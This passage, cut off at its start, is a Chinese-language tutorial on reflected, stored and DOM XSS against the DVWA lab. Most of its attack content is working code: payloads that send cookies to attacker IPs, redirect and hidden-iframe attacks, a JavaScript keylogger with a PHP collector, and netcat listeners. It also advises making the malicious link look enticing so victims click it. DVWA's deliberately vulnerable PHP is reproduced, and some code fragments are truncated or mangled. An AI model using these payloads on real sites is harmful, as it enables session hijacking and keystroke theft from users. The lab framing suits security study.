, and
DOM对象,篡改页面内容
漏洞形成的根源
服务器对用户提交的数据过滤不严
提交给服务器的脚本直接返回给其他客户端执行
脚本咋客户端执行恶意操作
XSS 漏洞类型
存储型(持久型)
反射性(非持久)
DOM 型:也是反射型,但不向浏览器发送请求
判断方法:提交数据之后,服务器原封不动的返回给客户端,就可以判断为存在 XSS 漏洞
2、反射型XSS
反射型XSS过程如下:
攻击者给目标机发送包含恶意代码的数据包,如邮件、图像
目标机点击后,将请求发送给服务器
服务器没有过滤,原封不动的返回目标机
实现注入
漏洞PoC
< script> alert( ‘xss’) < /script>
< a href= '' onclick= alert( 'xss' ) > type< /a>
< img src= http://1.1.1.1/a.ipg onerror= alert( 'xss' ) >
< script> window.location= 'http://1.1.1.1' < /script>
< iframe SRC= "http://1.1.1.1/victim" height = "0" width = "0" > < /iframe>
< script> new Image( ) .src= "http://1.1.1.1/c.php?output=" +document.cookie; < /script>
< script> document.body.innerHTML= "
THIS WEBSITE IS UNDER ATTACK " ; < /script>
测试漏洞
在dvwa的XSS reflected输入123123 原封不动返回123123 说明可能存在XSS漏洞 用burpsuite可以清晰查看 输入
< a href= https://www.baidu.com> click< /a>
如上图会出现一个click 点击链接之后,发现已经跳转到其他页面
输入
< script> alert( 'xss' ) < /script>
出现弹出窗且burpsuite上可以看到原样返回的代码 可以确定存在漏洞
重定向
输入
< script> window.location= 'https://www.baidu.com' < /script>
输入
< script> window.location= 'http://192.168.1.102' < /script>
重定向到kali的IP 在 kali 监听 80 端口,被攻击者的信息会被收集
nc -nvlp 80
框架攻击
输入
< iframe SRC= "http://192.168.1.102/victim" height = "0" width = "0" > < /iframe>
在 kali 监听 80 端口,被攻击者的信息会被收集
提取cookie
输入
< script> new Image( ) .src= "http://192.168.1.102/c.php?output=" +document.cookie; < /script>
篡改页面
输入
< script> document.body.innerHTML= "
THIS WEBSITE IS UNDER ATTACK " ; < /script>
注入恶意脚本
a.js里内容,主要是窃取cookie
var img = new Image( ) ;
img.src = "http://192.168.1.102:88/cookies.php?cookie=" +document.cookie;
输入
< script src= "http://1.1.1.1/a.js" > < /script>
然后在kali里监听88端口就可以获取cookie
键盘记录器
在kali的var/www/html中创建keylogger.js、keylogger.php和keylog.txt keylogger.js如下
document.onkeypress = function( evt)
{
evt = evt || window.event
key = String.fromCharCode( evt.charCode)
if ( key)
{
var http = new XMLHttpRequest( ) ;
var param = encodeURI( key)
http.open( "POST" ,"http://192.168.1.102/keylogger.php" ,true) ;
http.setRequestHeader( "Content-type" ,"application/x-www-form-urlencoded" ) ;
http.send( "key=" +param) ;
}
}
keylogger.php如下
< ?php
$key = $_POST [ 'key' ] ;
$logfile = "keylog.txt" ;
$fp = fopen( $logfile , "a" ) ;
fwrite( $fp , $key ) ;
fclose( $fp ) ;
?>
chmod 777 keylog.txt
输入
< script src= "http://192.168.1.102/Keylogger.js" > < /script>
然后被攻击者的键盘输入会被发送到攻击者
现实中 为了更隐蔽点 可以将最终的url写成html并放些会吸引人点的东西
dvwa源码
Low 安全级别
< ?php
if( ! array_key_exists ( "name" , $_GET ) || $_GET [ 'name' ] == NULL || $_GET [ 'name' ] == '' ) {
$isempty = true ;
} else {
echo '' ;
echo 'Hello ' . $_GET [ 'name' ] ;
echo '
'
;
}
?
>
Medium 安全级别
< ?php
if( ! array_key_exists ( "name" , $_GET ) || $_GET [ 'name' ] == NULL || $_GET [ 'name' ] == '' ) {
$isempty = true ;
} else {
echo '' ;
echo 'Hello ' . str_replace( '
High 安全级别
< ?php
if( ! array_key_exists ( "name" , $_GET ) || $_GET [ 'name' ] == NULL || $_GET [ 'name' ] == '' ) {
$isempty = true ;
} else {
echo '' ;
echo 'Hello ' . htmlspecialchars( $_GET [ 'name' ] ) ;
echo '
'
;
}
?
>
3、存储型XSS
长期存储于服务器端 每次用户访问都会被执行javascript脚本
测试漏洞
dvwa的XSS stored 同样的,随意输入一些字符 服务器原封不动的返回 说明可能存在XSS漏洞 用burpsuite可以清晰查看
输入
< script> alert( 'xss' ) < /script>
返回弹窗且burpsuite上可以看到原样返回的代码 可以确定存在漏洞
注入恶意脚本
a.js里内容,主要是窃取cookie
var img = new Image( ) ;
img.src = "http://192.168.1.102:88/cookies.php?cookie=" +document.cookie;
输入
< script src= "http://1.1.1.1/a.js" > < /script>
然后在kali里监听88端口就可以获取cookie
服务器源码
Low 安全级别
< ?php
if( isset( $_POST [ 'btnSign' ] ))
{
$message = trim( $_POST [ 'mtxMessage' ] ) ;
$name = trim( $_POST [ 'txtName' ] ) ;
// Sanitize message input
$message = stripslashes( $message ) ;
$message = mysql_real_escape_string( $message ) ;
// Sanitize name input
$name = mysql_real_escape_string( $name ) ;
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message ','$name ');" ;
$result = mysql_query( $query ) or die( '' . mysql_error( ) . '
'
) ;
}
?
>
Medium 安全级别
< ?php
if( isset( $_POST [ 'btnSign' ] ))
{
$message = trim( $_POST [ 'mtxMessage' ] ) ;
$name = trim( $_POST [ 'txtName' ] ) ;
// Sanitize message input
$message = trim( strip_tags( addslashes( $message )) ) ;
$message = mysql_real_escape_string( $message ) ;
$message = htmlspecialchars( $message ) ;
// Sanitize name input
$name = str_replace( ',所以可以判断是指过滤了
High 安全级别
< ?php
if( isset( $_POST [ 'btnSign' ] ))
{
$message = trim( $_POST [ 'mtxMessage' ] ) ;
$name = trim( $_POST [ 'txtName' ] ) ;
// Sanitize message input
$message = stripslashes( $message ) ;
$message = mysql_real_escape_string( $message ) ;
$message = htmlspecialchars( $message ) ;
// Sanitize name input
$name = stripslashes( $name ) ;
$name = mysql_real_escape_string( $name ) ;
$name = htmlspecialchars( $name ) ;
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message ','$name ');" ;
$result = mysql_query( $query ) or die( '' . mysql_error( ) . '
'
) ;
}
?
>
4、DOM型 XSS 漏洞
一套 JS 和其他语言可调用的标准的 API
nc -nvlp 88
输入
< script> var img= document.createElement( "img" ) ; img.src= "http://10.10.10.131:88/log?" +escape( document.cookie) ; < /script>
结语
XSS危害较大 需理解原理 并做好防护 尤其注意不要瞎点一些奇怪的链接